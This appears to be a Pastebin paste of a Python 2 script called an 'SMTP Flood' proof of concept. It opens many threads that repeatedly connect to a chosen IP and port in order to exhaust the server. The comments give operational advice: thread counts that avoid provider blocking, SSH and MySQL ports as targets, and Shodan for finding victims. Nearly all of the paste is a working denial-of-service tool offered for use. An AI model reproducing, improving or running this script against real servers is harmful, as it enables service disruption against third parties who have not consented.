Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- # SMTP Abuse PoC | Example Code | KILL-SMTP from SecurityTeam
- # This works/affects any port where the server returns a Banner (specifically containing OS Information)
- # Best results with 1 or 100 threads, anything after that gets blocked by OVH/NFO and other providers
- # Reports for abuse on source port 25 are common since you are abusing SMTP
- # Port: 22/SSH
- # Port: 3306/MySQL
- # Good ports for attacking//Common open ports
- # shodan.io to search for ports returning banners
- # Stop Attack with Ctrl^Z on Linux | Close Python on Windows
- # Usage: python script.py ip port threads
- import smtplib
- import argparse
- import random
- import time
- import threading
- import os
- def main():
- try:
- while 1:
- try:
- user = str(random.random())
- passw = str(random.random())
- print 'packet sent'
- smtplib.SMTP(attacked)
- except KeyboardInterrupt:
- print 'exiting script'
- exit()
- except:
- pass
- except KeyboardInterrupt:
- print 'exit thread'
- exit()
- if __name__ == '__main__':
- try:
- parser = argparse.ArgumentParser(
- description="SMTP Flood | SmallDoink#0666"
- )
- parser.add_argument('ip', help="ip to attack")
- parser.add_argument('port', help='port')
- parser.add_argument('thread', help='threads')
- arguments = parser.parse_args()
- ip = arguments.ip
- p = str(arguments.port)
- t = int(arguments.thread)
- attacked = ip+':'+p
- print 'settings loaded, starting flood loop | exit Ctrl^Z or Ctrl^C'
- for i in range(t):
- threading.Thread(target=main).start()
- except KeyboardInterrupt:
- exit()
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement